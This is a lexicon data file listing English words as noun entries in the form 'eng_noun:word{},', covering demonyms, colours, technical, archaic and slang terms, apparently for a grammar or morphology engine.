eng_noun:daily{},
eng_noun:cubic{},
eng_noun:argentine{},
eng_noun:manifest{},
eng_noun:android{},
eng_noun:almond{},
eng_noun:Latvian{},
eng_noun:Bhutanese{},
eng_noun:Paraguayan{},
eng_noun:Kenyan{},
eng_noun:Gambian{},
eng_noun:Zambian{},
eng_noun:Bruneian{},
eng_noun:Tongan{},
eng_noun:Euboean{},
eng_noun:Guadeloupean{},
eng_noun:Salvadorian{},
eng_noun:Martinican{},
eng_noun:Reunionese{},
eng_noun:Rwandese{},
eng_noun:Somali{},
eng_noun:Bermudian{},
eng_noun:sabbatical{},
eng_noun:knockout{},
eng_noun:shiny{},
eng_noun:ape{},
eng_noun:Achaian{},
eng_noun:Anglophone{},
eng_noun:trust{},
eng_noun:ghetto{},
eng_noun:millennial{},
eng_noun:Tamil{},
eng_noun:Panjabi{},
eng_noun:aerial{},
eng_noun:hippie{},
eng_noun:ethnic{},
eng_noun:Aberdonian{},
eng_noun:ultracrepidarian{},
eng_noun:advance{},
eng_noun:chattel{},
eng_noun:tangible{},
eng_noun:overall{},
eng_noun:alterative{},
eng_noun:ugly{},
eng_noun:antic{},
eng_noun:binary{},
eng_noun:quadriliteral{},
eng_noun:xenophobic{},
eng_noun:alcoholic{},
eng_noun:wanton{},
eng_noun:augmentative{},
eng_noun:flexitarian{},
eng_noun:cognate{},
eng_noun:spruce{},
eng_noun:duplex{},
eng_noun:transversal{},
eng_noun:fade{},
eng_noun:noir{},
eng_noun:hippy{},
eng_noun:discriminant{},
eng_noun:fancy{},
eng_noun:marsupial{},
eng_noun:Arab{},
eng_noun:intestate{},
eng_noun:intramural{},
eng_noun:underground{},
eng_noun:latest{},
eng_noun:collectible{},
eng_noun:statist{},
eng_noun:velopharyngeal{},
eng_noun:flexible{},
eng_noun:master{},
eng_noun:enzootic{},
eng_noun:nippy{},
eng_noun:TWOC{},
eng_noun:cutaway{},
eng_noun:Scouse{},
eng_noun:hebrephrenic{},
eng_noun:fanatic{},
eng_noun:gala{},
eng_noun:medial{},
eng_noun:tensor{},
eng_noun:unary{},
eng_noun:contingent{},
eng_noun:fundamental{},
eng_noun:intellectual{},
eng_noun:peripatetic{},
eng_noun:potential{},
eng_noun:primitive{},
eng_noun:starch{},
eng_noun:stout{},
eng_noun:caustic{},
eng_noun:udal{},
eng_noun:phony{},
eng_noun:concordant{},
eng_noun:mid - july{},
eng_noun:midsummer{},
eng_noun:negroid{},
eng_noun:Mohammedan{},
eng_noun:chameleon{},
eng_noun:transient{},
eng_noun:broody{},
eng_noun:rookie{},
eng_noun:consanguineous{},
eng_noun:daredevil{},
eng_noun:brunette{},
eng_noun:indigent{},
eng_noun:inert{},
eng_noun:posterior{},
eng_noun:culinary{},
eng_noun:clamshell{},
eng_noun:columbine{},
eng_noun:plush{},
eng_noun:petunia{},
eng_noun:silent{},
eng_noun:demographic{},
eng_noun:previous{},
eng_noun:collaborative{},
eng_noun:journal{},
eng_noun:gossamer{},
eng_noun:snub{},
eng_noun:armchair{},
eng_noun:upright{},
eng_noun:monotone{},
eng_noun:insectoid{},
eng_noun:nonagenarian{},
eng_noun:federal{},
eng_noun:chill{},
eng_noun:diabetic{},
eng_noun:projectile{},
eng_noun:synthetic{},
eng_noun:one - to - one{},
eng_noun:Glaswegian{},
eng_noun:heterodyne{},
eng_noun:visual{},
eng_noun:heteropod{},
eng_noun:Whitsun{},
eng_noun:Samian{},
eng_noun:apolitical{},
eng_noun:flannel{},
eng_noun:taboo{},
eng_noun:pally{},
eng_noun:multiplex{},
eng_noun:guilty{},
eng_noun:outpatient{},
eng_noun:ith{},
eng_noun:erratic{},
eng_noun:crystalline{},
eng_noun:impromptu{},
eng_noun:haywire{},
eng_noun:crusty{},
eng_noun:vintage{},
eng_noun:airborne{},
eng_noun:brahmin{},
eng_noun:contraceptive{},
eng_noun:backhand{},
eng_noun:whiff{},
eng_noun:mainstream{},
eng_noun:bravura{},
eng_noun:adipose{},
eng_noun:overnight{},
eng_noun:inanimate{},
eng_noun:ultra{},
eng_noun:parental{},
eng_noun:flush{},
eng_noun:coo{},
eng_noun:yogi{},
eng_noun:deliverable{},
eng_noun:ballpark{},
eng_noun:scenic{},
eng_noun:pavonine{},
eng_noun:Eocene{},
eng_noun:dainty{},
eng_noun:cellular{},
eng_noun:cuttie{},
eng_noun:libertine{},
eng_noun:residual{},
eng_noun:singulative{},
eng_noun:back - up{},
eng_noun:oxblood{},
eng_noun:Guinean{},
eng_noun:hamate{},
eng_noun:Himalayan{},
eng_noun:Proctor{},
eng_noun:Wiccan{},
eng_noun:collegiate{},
eng_noun:vertebral{},
eng_noun:chemotherapeutic{},
eng_noun:pituitary{},
eng_noun:Gurkha{},
eng_noun:Sunni{},
eng_noun:go - ahead{},
eng_noun:kalua{},
eng_noun:semi - automatic{},
eng_noun:microcephalic{},
eng_noun:taxable{},
eng_noun:palliative{},
eng_noun:anticorrosive{},
eng_noun:antimodernist{},
eng_noun:elliptical{},
eng_noun:coeliac{},
eng_noun:endocrine{},
eng_noun:plump{},
eng_noun:chelate{},
eng_noun:centenary{},
eng_noun:Zwinglian{},
eng_noun:deadbeat{},
eng_noun:sentient{},
eng_noun:antimicrobial{},
eng_noun:antipsychotic{},
eng_noun:correlative{},
eng_noun:passerine{},
eng_noun:didactic{},
eng_noun:alkaline{},
eng_noun:no - name{},
eng_noun:saccharine{},
eng_noun:fraught{},
eng_noun:letterbox{},
eng_noun:windup{},
eng_noun:matte{},
eng_noun:Nazarene{},
eng_noun:aspirant{},
eng_noun:oceanfront{},
eng_noun:resistant{},
eng_noun:dernier{},
eng_noun:chemopreventive{},
eng_noun:depressant{},
eng_noun:bantam{},
eng_noun:immigrant{},
eng_noun:masticatory{},
eng_noun:redwood{},
eng_noun:Delphic{},
eng_noun:Silesian{},
eng_noun:Pomeranian{},
eng_noun:anticatholic{},
eng_noun:Damocloid{},
eng_noun:propaedeutic{},
eng_noun:militant{},
eng_noun:scapular{},
eng_noun:flame - retardant{},
eng_noun:seesaw{},
eng_noun:Madrilenian{},
eng_noun:suzerain{},
eng_noun:unsalable{},
eng_noun:subaltern{},
eng_noun:rowdy{},
eng_noun:hoyden{},
eng_noun:propre{},
eng_noun:tortoiseshell{},
eng_noun:Shinto{},
eng_noun:Grecophone{},
eng_noun:harmonic{},
eng_noun:esthetic{},
eng_noun:irritant{},
eng_noun:Malayan{},
eng_noun:clathrate{},
eng_noun:diocesan{},
eng_noun:phenolic{},
eng_noun:Irani{},
eng_noun:cataleptic{},
eng_noun:titular{},
eng_noun:hectic{},
eng_noun:organoid{},
eng_noun:xiphosuran{},
eng_noun:proparoxytone{},
eng_noun:Minoan{},
eng_noun:curly{},
eng_noun:southeasterly{},
eng_noun:vesicant{},
eng_noun:midlife{},
eng_noun:workaholic{},
eng_noun:interactive{},
eng_noun:quintillionth{},
eng_noun:noetic{},
eng_noun:misty{},
eng_noun:styptic{},
eng_noun:chippy{},
eng_noun:upslope{},
eng_noun:plumbous{},
eng_noun:otalgic{},
eng_noun:minimalist{},
eng_noun:executable{},
eng_noun:duodecillionth{},
eng_noun:alterable{},
eng_noun:carbenoid{},
eng_noun:pictorial{},
eng_noun:locomotive{},
eng_noun:advisory{},
eng_noun:ashcan{},
eng_noun:telephoto{},
eng_noun:neorealist{},
eng_noun:Sumerian{},
eng_noun:mountaintop{},
eng_noun:jingoist{},
eng_noun:suffragan{},
eng_noun:Milanese{},
eng_noun:lachrymatory{},
eng_noun:pre - game{},
eng_noun:middlebrow{},
eng_noun:co - dependent{},
eng_noun:reverential{},
eng_noun:omnitheist{},
eng_noun:masculinist{},
eng_noun:anionic{},
eng_noun:eutrophic{},
eng_noun:trine{},
eng_noun:courtly{},
eng_noun:polysomic{},
eng_noun:anorectic{},
eng_noun:aphasic{},
eng_noun:bigeminal{},
eng_noun:biomedical{},
eng_noun:tetrapod{},
eng_noun:Belarusan{},
eng_noun:sexagenary{},
eng_noun:Benedictine{},
eng_noun:interstadial{},
eng_noun:Cestrian{},
eng_noun:triplex{},
eng_noun:raglan{},
eng_noun:univalve{},
eng_noun:subteen{},
eng_noun:subhuman{},
eng_noun:dilly{},
eng_noun:postern{},
eng_noun:inessential{},
eng_noun:Coptic{},
eng_noun:copyrightable{},
eng_noun:nymphomanic{},
eng_noun:congregationalist{},
eng_noun:pentadecimal{},
eng_noun:Mensan{},
eng_noun:triumphalist{},
eng_noun:hardline{},
eng_noun:performative{},
eng_noun:ever - present{},
eng_noun:Skinnerian{},
eng_noun:Manitoban{},
eng_noun:grandioso{},
eng_noun:percipient{},
eng_noun:appellative{},
eng_noun:ceratopsian{},
eng_noun:close - up{},
eng_noun:Miwokan{},
eng_noun:retardant{},
eng_noun:aversive{},
eng_noun:nonnegotiable{},
eng_noun:cash - flow{},
eng_noun:drystone{},
eng_noun:metamict{},
eng_noun:platinoid{},
eng_noun:indigene{},
eng_noun:three - ply{},
eng_noun:minikin{},
eng_noun:Formosan{},
eng_noun:indiscernible{},
eng_noun:crypto - fascist{},
eng_noun:Kantian{},
eng_noun:Tocharian{},
eng_noun:mentalist{},
eng_noun:Pahari{},
eng_noun:ready - made{},
eng_noun:mesoscale{},
eng_noun:innumerate{},
eng_noun:internationalist{},
eng_noun:adjunctive{},
eng_noun:volitive{},
eng_noun:transmembrane{},
eng_noun:odorant{},
eng_noun:allelochemical{},
eng_noun:cubozoan{},
eng_noun:intershell{},
eng_noun:nonrenewable{},
eng_noun:constat{},
eng_noun:antifeedant{},
eng_noun:revisionist{},
eng_noun:nonbelligerent{},
eng_noun:injectable{},
eng_noun:frontline{},
eng_noun:goodwife{},
eng_noun:nonhuman{},
eng_noun:Arizonan{},
eng_noun:nonmilitant{},
eng_noun:gazillionth{},
eng_noun:shadowless{},
eng_noun:abortogenic{},
eng_noun:fireward{},
eng_noun:quadrinomial{},
eng_noun:placeable{},
eng_noun:amoeboid{},
eng_noun:analeptic{},
eng_noun:Kosovar{},
eng_noun:antipain{},
eng_noun:Almain{},
eng_noun:multichannel{},
eng_noun:coorse{},
eng_noun:Manzonian{},
eng_noun:penetrant{},
eng_noun:bdelloid{},
eng_noun:antinicotinic{},
eng_noun:lew{},
eng_noun:saluretic{},
eng_noun:antifolate{},
eng_noun:renunciant{},
eng_noun:halfwidth{},
eng_noun:hawse{},
eng_noun:febricitant{},
eng_noun:Kyivan{},
eng_noun:interlayer{},
eng_noun:noninteger{},
eng_noun:organomercurial{},
eng_noun:smoothbore{},
eng_noun:superrich{},
eng_noun:Muhammadan{},
eng_noun:coacervate{},
eng_noun:multienzyme{},
eng_noun:trinary{},
eng_noun:macroeconomic{},
eng_noun:scopophiliac{},
eng_noun:Buriat{},
eng_noun:calefacient{},
eng_noun:Kazakhstani{},
eng_noun:Colossian{},
eng_noun:Salesian{},
eng_noun:nonstaple{},
eng_noun:Astroturf{},
eng_noun:consequentialist{},
eng_noun:Vincentian{},
eng_noun:non - terminal{},
eng_noun:descriptivist{},
eng_noun:Capricornian{},
eng_noun:Virgoan{},
eng_noun:Taurean{},
eng_noun:Leonian{},
eng_noun:saurischian{},
eng_noun:notoungulate{},
eng_noun:hench{},
eng_noun:unquantifiable{},
eng_noun:hysteroid{},
eng_noun:Hispanian{},
eng_noun:septothecal{},
eng_noun:eevn{},
eng_noun:half - width{},
eng_noun:cyberfeminist{},
eng_noun:tusky{},
eng_noun:ecumenist{},
eng_noun:salmonid{},
eng_noun:postsectarian{},
eng_noun:prediabetic{},
eng_noun:antiphase{},
eng_noun:subliterate{},
eng_noun:errhine{},
eng_noun:orangey{},
eng_noun:Balzacian{},
eng_noun:high - pass{},
eng_noun:maximalist{},
eng_noun:enate{},
eng_noun:CFNM{},
eng_noun:Gascon{},
eng_noun:eventualist{},
eng_noun:pseudovirgin{},
eng_noun:basisphenoid{},
eng_noun:dinosaurian{},
eng_noun:cytoprotective{},
eng_noun:noncompete{},
eng_noun:myelosuppressive{},
eng_noun:subjectivist{},
eng_noun:centralist{},
eng_noun:noncognate{},
eng_noun:nonanimal{},
eng_noun:inegalitarian{},
eng_noun:nonmarried{},
eng_noun:symptomless{},
eng_noun:multiculturalist{},
eng_noun:midcap{},
eng_noun:nonrival{},
eng_noun:whirly{},
eng_noun:protohuman{},
eng_noun:Paulian{},
eng_noun:realis{},
eng_noun:nonepileptic{},
eng_noun:cidery{},
eng_noun:nerdcore{},
eng_noun:nonfriable{},
eng_noun:ejectile{},
eng_noun:no - doc{},
eng_noun:Mariavite{},
eng_noun:acmeist{},
eng_noun:shell - like{},
eng_noun:Masurian{},
eng_noun:Lewesian{},
eng_noun:bysen{},
eng_noun:Pyrrhonian{},
eng_noun:Praguian{},
eng_noun:Ljubljanan{},
eng_noun:Tiranan{},
eng_noun:Brusselian{},
eng_noun:Copenhagener{},
eng_noun:Stockholmer{},
eng_noun:intensivist{},
eng_noun:Burnsian{},
eng_noun:Brabantian{},
eng_noun:precative{},
eng_noun:Crowleyan{},
eng_noun:Helvetian{},
eng_noun:Byronian{},
eng_noun:hyperreal{},
eng_noun:Campbellite{},
eng_noun:nonparanoid{},
eng_noun:alexipharmic{},
eng_noun:nonwar{},
eng_noun:precancer{},
eng_noun:Adjarian{},
eng_noun:anticar{},
eng_noun:nonminor{},
eng_noun:nonbisexual{},
eng_noun:chemoprophylactic{},
eng_noun:counterfeminist{},
eng_noun:non - dance{},
eng_noun:nonproperty{},
eng_noun:nonegalitarian{},
eng_noun:Lockean{},
eng_noun:Pompeian{},
eng_noun:Australopith{},
eng_noun:nonindigent{},
eng_noun:vetitive{},
eng_noun:wholewheat{},
eng_noun:nonvariant{},
eng_noun:Gagauz{},
eng_noun:nonmonetarist{},
eng_noun:stupefacient{},
eng_noun:preop{},
eng_noun:mousseux{},
eng_noun:monofractal{},
eng_noun:unfavorite{},
eng_noun:nonhorse{},
eng_noun:nondrama{},
eng_noun:Cyprian{},
eng_noun:multiquark{},
eng_noun:capitulationist{},
eng_noun:pteropine{},
eng_noun:Pichileminian{},
eng_noun:Afro - indian{},
eng_noun:Sassanid{},
eng_noun:Abkhasian{},
eng_noun:Cameronite{},
eng_noun:Antiochian{},
eng_noun:heartcut{},
eng_noun:Aramaean{},
eng_noun:Aramean{},
eng_noun:Medician{},
eng_noun:gorgonian{},
eng_noun:ichthyoid{},
eng_noun:pro - abort{},
eng_noun:balductum{},
eng_noun:reactionist{},
eng_noun:predicant{},
eng_noun:settleable{},
eng_noun:asbuilt{},
eng_noun:Chattanoogan{},
eng_noun:Sevillan{},
eng_noun:anti - rust{},
eng_noun:Tripolitanian{},
eng_noun:push - through{},
eng_noun:drudgy{},
eng_noun:Ossete{},
eng_noun:scatheless{},
eng_noun:exhortative{},
eng_noun:Gallo - roman{},
eng_noun:hokie{},
eng_noun:bellywark{},
eng_noun:megadollar{},
eng_noun:multialgorithm{},
eng_noun:cooperant{},
eng_noun:twissell{},
eng_noun:italophone{},
eng_noun:antipluralist{},
eng_noun:antinaturalist{},
eng_noun:mithridatic{},
eng_noun:Seljuqian{},
eng_noun:meshugenah{},
eng_noun:sixgill{},
eng_noun:rustick{},
eng_noun:braveheart{},
eng_noun:advaunce{},
eng_noun:Hebrean{},
eng_noun:interiour{},
eng_noun:Columbian{},
eng_noun:Pamplonan{},
eng_noun:vorticist{},
eng_noun:antiliberal{},
eng_noun:antilibertarian{},
eng_noun:antidesiccant{},
eng_noun:nonsubject{},
eng_noun:antimask{},
eng_noun:antiquitarian{},
eng_noun:majour{},
eng_noun:nonprotest{},
eng_noun:characteristick{},
eng_noun:tonick{},
eng_noun:ethnick{},
eng_noun:paralytick{},
eng_noun:novenary{},
eng_noun:opercular{},
eng_noun:rory{},
eng_noun:Haytian{},
eng_noun:bumfuck{},
eng_noun:Afric{},
eng_noun:nasoturbinal{},
eng_noun:miscreaunt{},
eng_noun:tauromachian{},
eng_noun:hypohyal{},
eng_noun:refrigerative{},
eng_noun:antipodagric{},
eng_noun:Tripolitan{},
eng_noun:crossopterygian{},
eng_noun:Achaemenian{},
eng_noun:antihypnotic{},
eng_noun:Utahan{},
eng_noun:implacental{},
eng_noun:counter - revolutionary{},
eng_noun:interparietal{},
eng_noun:clinodiagonal{},
eng_noun:world{},
eng_noun:work{},
eng_noun:pale{},
eng_noun:close{},
eng_noun:evil{},
eng_noun:old{},
eng_noun:summer{},
eng_noun:spare{},
eng_noun:anglophile{},
eng_noun:attractant{},
eng_noun:biscuit{},
eng_noun:carrion{},
eng_noun:caesarean{},
eng_noun:cree{},
eng_noun:darn{},
eng_noun:decrescendo{},
eng_noun:disinfectant{},
eng_noun:dusk{},
eng_noun:factoid{},
eng_noun:fake{},
eng_noun:glam{},
eng_noun:ganoid{},
eng_noun:frank{},
eng_noun:hydrozoan{},
eng_noun:infidel{},
eng_noun:isoseismal{},
eng_noun:journalist{},
eng_noun:julienne{},
eng_noun:lowland{},
eng_noun:monocular{},
eng_noun:neuralgia{},
eng_noun:overenthusiasm{},
eng_noun:naught{},
eng_noun:placoid{},
eng_noun:pianissimo{},
eng_noun:polymorphism{},
eng_noun:partisan{},
eng_noun:recusant{},
eng_noun:purgative{},
eng_noun:predestinarian{},
eng_noun:sib{},
eng_noun:territorial{},
eng_noun:superscript{},
eng_noun:teen{},
eng_noun:stationary{},
eng_noun:tonic{},
eng_noun:trusty{},
eng_noun:volute{},
eng_noun:vegetable{},
eng_noun:republicrat{},
eng_noun:mope{},
eng_noun:hump{},
eng_noun:secant{},
eng_noun:parti{},
eng_noun:hind{},
eng_noun:rigorist{},
eng_noun:courtier{},
eng_noun:romanesque{},
eng_noun:shy{},
eng_noun:boon{},
eng_noun:umber{},
eng_noun:forte{},
eng_noun:swell{},
eng_noun:techno{},
eng_noun:outback{},
eng_noun:electro{},
eng_noun:haulage{},
eng_noun:shipboard{},
eng_noun:pastorate{},
eng_noun:monocoque{},
eng_noun:allegretto{},
eng_noun:sabbatarian{},
eng_noun:fit{},
eng_noun:aloetic{},
eng_noun:flat{},
eng_noun:bivalve{},
eng_noun:extrovert{},
eng_noun:video{},
eng_noun:hairline{},
eng_noun:softcore{},
eng_noun:ultraviolet{},
eng_noun:paralegal{},
eng_noun:problematic{},
eng_noun:friendly{},
eng_noun:factorial{},
eng_noun:airplay{},
eng_noun:necessarian{},
eng_noun:autofocus{},
eng_noun:hale{},
eng_noun:paraboloid{},
eng_noun:lophobranch{},
eng_noun:viridian{},
eng_noun:lagging{},
eng_noun:speaking{},
eng_noun:beginning{},
eng_noun:happening{},
eng_noun:killing{},
eng_noun:pressing{},
eng_noun:spinning{},
eng_noun:tickling{},
eng_noun:sporting{},
eng_noun:sterling{},
eng_noun:unreflecting{},
eng_noun:unsuspecting{},
eng_noun:childbearing{},
eng_noun:shareholding{},
eng_noun:trending{},
eng_noun:inbound{},
eng_noun:inbred{},
eng_noun:abdicant{},
eng_noun:ablative{},
eng_noun:abnormal{},
eng_noun:abolitionist{},
eng_noun:absolvent{},
eng_noun:abstersive{},
eng_noun:abstinent{},
eng_noun:Abyssinian{},
eng_noun:pseudo{},
eng_noun:quotidian{},
eng_noun:uncountable{},
eng_noun:Netherlands{},
eng_noun:ace{},
eng_noun:silver{},
eng_noun:imperfect{},
eng_noun:irrational{},
eng_noun:infinitive{},
eng_noun:future{},
eng_noun:comparative{},
eng_noun:leather{},
eng_noun:east{},
eng_noun:crimson{},
eng_noun:azure{},
eng_noun:aquamarine{},
eng_noun:chocolate{},
eng_noun:orchid{},
eng_noun:salmon{},
eng_noun:turquoise{},
eng_noun:russet{},
eng_noun:scarlet{},
eng_noun:sepia{},
eng_noun:amethyst{},
eng_noun:pyramidal{},
eng_noun:Canberran{},
eng_noun:Hobartian{},
eng_noun:Perthian{},
eng_noun:chamois{},
eng_noun:Zulu{},
eng_noun:liberal{},
eng_noun:aforementioned{},
eng_noun:maiden{},
eng_noun:Moslem{},
eng_noun:criminal{},
eng_noun:exterior{},
eng_noun:Cornish{},
eng_noun:by{},
eng_noun:chicken{},
eng_noun:liquid{},
eng_noun:federation{},
eng_noun:freshwater{},
eng_noun:Armenian{},
eng_noun:quiet{},
eng_noun:penultimate{},
eng_noun:cardinal{},
eng_noun:hypocoristic{},
eng_noun:Sardinian{},
eng_noun:Floridian{},
eng_noun:Neapolitan{},
eng_noun:Venetian{},
eng_noun:supernatural{},
eng_noun:acephalan{},
eng_noun:epicurean{},
eng_noun:coefficient{},
eng_noun:economy{},
eng_noun:Bahamian{},
eng_noun:Barbadian{},
eng_noun:Swiss{},
eng_noun:Pakistani{},
eng_noun:Egyptian{},
eng_noun:Lebanese{},
eng_noun:Tunisian{},
eng_noun:Ivorian{},
eng_noun:Togolese{},
eng_noun:Saudi{},
eng_noun:foible{},
eng_noun:hybrid{},
eng_noun:dynamic{},
eng_noun:apricot{},
eng_noun:Punjabi{},
eng_noun:Eskimo{},
eng_noun:exotic{},
eng_noun:aery{},
eng_noun:rouge{},
eng_noun:chief{},
eng_noun:up{},
eng_noun:affluent{},
eng_noun:superficial{},
eng_noun:valuable{},
eng_noun:kam{},
eng_noun:intent{},
eng_noun:variable{},
eng_noun:Manx{},
eng_noun:Tahitian{},
eng_noun:inside{},
eng_noun:constructivist{},
eng_noun:equal{},
eng_noun:descriptive{},
eng_noun:median{},
eng_noun:possible{},
eng_noun:passive{},
eng_noun:triliteral{},
eng_noun:defective{},
eng_noun:nonalcoholic{},
eng_noun:staccato{},
eng_noun:fortis{},
eng_noun:adverbial{},
eng_noun:Trinitarian{},
eng_noun:universist{},
eng_noun:lab{},
eng_noun:faux{},
eng_noun:brand{},
eng_noun:globular{},
eng_noun:horsy{},
eng_noun:capillary{},
eng_noun:normal{},
eng_noun:citron{},
eng_noun:pagan{},
eng_noun:mulberry{},
eng_noun:apposite{},
eng_noun:hermaphrodite{},
eng_noun:centigrade{},
eng_noun:fetid{},
eng_noun:LEGO{},
eng_noun:recalcitrant{},
eng_noun:salient{},
eng_noun:prior{},
eng_noun:triple{},
eng_noun:religious{},
eng_noun:spiritual{},
eng_noun:unrestrained{},
eng_noun:captive{},
eng_noun:emo{},
eng_noun:compulsive{},
eng_noun:sandy{},
eng_noun:basal{},
eng_noun:dickey{},
eng_noun:hymnal{},
eng_noun:patina{},
eng_noun:withy{},
eng_noun:antinomian{},
eng_noun:dandelion{},
eng_noun:immune{},
eng_noun:indubitable{},
eng_noun:ripe{},
eng_noun:splay{},
eng_noun:recluse{},
eng_noun:thumby{},
eng_noun:sunny{},
eng_noun:explosive{},
eng_noun:paranoid{},
eng_noun:Bacchanalian{},
eng_noun:gyratory{},
eng_noun:savvy{},
eng_noun:crunk{},
eng_noun:mid - december{},
eng_noun:state - of - the - art{},
eng_noun:candid{},
eng_noun:avant - garde{},
eng_noun:fungible{},
eng_noun:Dickensian{},
eng_noun:manuscript{},
eng_noun:Iberian{},
eng_noun:aromatic{},
eng_noun:prescriptivist{},
eng_noun:sickle{},
eng_noun:batshit{},
eng_noun:blackleg{},
eng_noun:conic{},
eng_noun:associate{},
eng_noun:telltale{},
eng_noun:lily{},
eng_noun:Remulakian{},
eng_noun:starvation{},
eng_noun:profound{},
eng_noun:megapixel{},
eng_noun:fringe{},
eng_noun:antepenultimate{},
eng_noun:paprika{},
eng_noun:pluperfect{},
eng_noun:routine{},
eng_noun:undercover{},
eng_noun:metropolitan{},
eng_noun:polemic{},
eng_noun:xenobiotic{},
eng_noun:hypnotic{},
eng_noun:hypochondriac{},
eng_noun:frolic{},
eng_noun:badass{},
eng_noun:epicene{},
eng_noun:crematory{},
eng_noun:emergency{},
eng_noun:pisiform{},
eng_noun:fashionable{},
eng_noun:heterodont{},
eng_noun:comedolytic{},
eng_noun:stretto{},
eng_noun:meliorist{},
eng_noun:covert{},
eng_noun:pompous{},
eng_noun:metallic{},
eng_noun:broadband{},
eng_noun:girly{},
eng_noun:tough{},
eng_noun:outsize{},
eng_noun:dop{},
eng_noun:picaresque{},
eng_noun:infrared{},
eng_noun:conjunctive{},
eng_noun:coprophiliac{},
eng_noun:schoolboy{},
eng_noun:chubby{},
eng_noun:tutelary{},
eng_noun:astringent{},
eng_noun:inedible{},
eng_noun:undergraduate{},
eng_noun:undesirable{},
eng_noun:pedigree{},
eng_noun:rascal{},
eng_noun:malcontent{},
eng_noun:legendary{},
eng_noun:Lusophone{},
eng_noun:transformist{},
eng_noun:Cockney{},
eng_noun:elitist{},
eng_noun:transnational{},
eng_noun:transactinide{},
eng_noun:Ediacaran{},
eng_noun:Mississippian{},
eng_noun:antioxidant{},
eng_noun:dumbshit{},
eng_noun:downtown{},
eng_noun:cloverleaf{},
eng_noun:gamboge{},
eng_noun:reseda{},
eng_noun:Aristotelian{},
eng_noun:burlywood{},
eng_noun:lovat{},
eng_noun:florentine{},
eng_noun:dissentient{},
eng_noun:scaphoid{},
eng_noun:poltroon{},
eng_noun:co - ed{},
eng_noun:sphenoid{},
eng_noun:grass - green{},
eng_noun:monorchid{},
eng_noun:lacy{},
eng_noun:dioptric{},
eng_noun:fey{},
eng_noun:retrospective{},
eng_noun:takeaway{},
eng_noun:Disney{},
eng_noun:literate{},
eng_noun:repellant{},
eng_noun:alluvial{},
eng_noun:hylic{},
eng_noun:reptilian{},
eng_noun:terpsichorean{},
eng_noun:ignostic{},
eng_noun:heathen{},
eng_noun:murk{},
eng_noun:Albertan{},
eng_noun:sublime{},
eng_noun:hearty{},
eng_noun:motley{},
eng_noun:proximate{},
eng_noun:corrival{},
eng_noun:lonesome{},
eng_noun:indispensable{},
eng_noun:organometallic{},
eng_noun:brunet{},
eng_noun:parastatal{},
eng_noun:psychotropic{},
eng_noun:flambe{},
eng_noun:technosexual{},
eng_noun:zygodactyl{},
eng_noun:exhibitionist{},
eng_noun:invasive{},
eng_noun:Pentecostal{},
eng_noun:stunod{},
eng_noun:textbook{},
eng_noun:thematic{},
eng_noun:terracotta{},
eng_noun:bloodshot{},
eng_noun:Israelite{},
eng_noun:postgrad{},
eng_noun:exemplary{},
eng_noun:adessive{},
eng_noun:esculent{},
eng_noun:succulent{},
eng_noun:supplemental{},
eng_noun:satin{},
eng_noun:backwoods{},
eng_noun:separatist{},
eng_noun:payable{},
eng_noun:eastward{},
eng_noun:madcap{},
eng_noun:pococurante{},
eng_noun:psychoanalytic{},
eng_noun:Caesarian{},
eng_noun:caitiff{},
eng_noun:ferly{},
eng_noun:diuretic{},
eng_noun:Tlingit{},
eng_noun:Torontonian{},
eng_noun:traducian{},
eng_noun:analgesic{},
eng_noun:Riojan{},
eng_noun:reformist{},
eng_noun:hydro{},
eng_noun:rotary{},
eng_noun:Arian{},
eng_noun:immunological{},
eng_noun:namby - pamby{},
eng_noun:rah{},
eng_noun:crinoid{},
eng_noun:irredentist{},
eng_noun:xiphioid{},
eng_noun:preschool{},
eng_noun:intermetallic{},
eng_noun:untimely{},
eng_noun:parietal{},
eng_noun:folkie{},
eng_noun:bulimic{},
eng_noun:rattletrap{},
eng_noun:prerequisite{},
eng_noun:rodomontade{},
eng_noun:Stakhanovite{},
eng_noun:polyphenolic{},
eng_noun:champaign{},
eng_noun:enceinte{},
eng_noun:jussive{},
eng_noun:ooid{},
eng_noun:grizzly{},
eng_noun:confectionary{},
eng_noun:ascendant{},
eng_noun:carefree{},
eng_noun:squiggly{},
eng_noun:sesquiterpenoid{},
eng_noun:clatty{},
eng_noun:Grecian{},
eng_noun:legionary{},
eng_noun:Zanzibari{},
eng_noun:causative{},
eng_noun:imponderable{},
eng_noun:paquebot{},
eng_noun:Pastafarian{},
eng_noun:agoraphobic{},
eng_noun:attaint{},
eng_noun:docetist{},
eng_noun:rhinestone{},
eng_noun:standover{},
eng_noun:girlie{},
eng_noun:Beltway{},
eng_noun:unrestricted{},
eng_noun:sulpha{},
eng_noun:fae{},
eng_noun:nonessential{},
eng_noun:parasympathomimetic{},
eng_noun:liveaboard{},
eng_noun:eyeful{},
eng_noun:walk - up{},
eng_noun:castiron{},
eng_noun:escapist{},
eng_noun:waterside{},
eng_noun:polytene{},
eng_noun:arthritic{},
eng_noun:trisyllabic{},
eng_noun:biodegradable{},
eng_noun:Moldavian{},
eng_noun:Byelorussian{},
eng_noun:frictionless{},
eng_noun:salutatory{},
eng_noun:Acheulean{},
eng_noun:pluvial{},
eng_noun:poopy{},
eng_noun:poopie{},
eng_noun:semblable{},
eng_noun:climacteric{},
eng_noun:spalt{},
eng_noun:negotiable{},
eng_noun:sciurine{},
eng_noun:sooky{},
eng_noun:glassful{},
eng_noun:long - haul{},
eng_noun:work - to - rule{},
eng_noun:centrist{},
eng_noun:Canaanite{},
eng_noun:careerist{},
eng_noun:concubinary{},
eng_noun:microelectronic{},
eng_noun:split - level{},
eng_noun:domiciliary{},
eng_noun:slip - on{},
eng_noun:semiprofessional{},
eng_noun:ding - dong{},
eng_noun:preventative{},
eng_noun:ovibovine{},
eng_noun:billable{},
eng_noun:Pascha{},
eng_noun:antimycotic{},
eng_noun:antifungal{},
eng_noun:polyacrylic{},
eng_noun:polyunsaturate{},
eng_noun:approbative{},
eng_noun:essentialist{},
eng_noun:boffo{},
eng_noun:Maxonian{},
eng_noun:octonary{},
eng_noun:eruptive{},
eng_noun:ternary{},
eng_noun:mandibulate{},
eng_noun:Mannerist{},
eng_noun:decretal{},
eng_noun:Jerusalemite{},
eng_noun:Ottawan{},
eng_noun:Peronist{},
eng_noun:freezable{},
eng_noun:Aquarian{},
eng_noun:depilatory{},
eng_noun:mure{},
eng_noun:dinkum{},
eng_noun:Finnic{},
eng_noun:vallecular{},
eng_noun:Aluredian{},
eng_noun:microsurgery{},
eng_noun:hearthside{},
eng_noun:hookup{},
eng_noun:indeterminable{},
eng_noun:bamboo{},
eng_noun:heptapeptide{},
eng_noun:nonpartisan{},
eng_noun:vespid{},
eng_noun:diglot{},
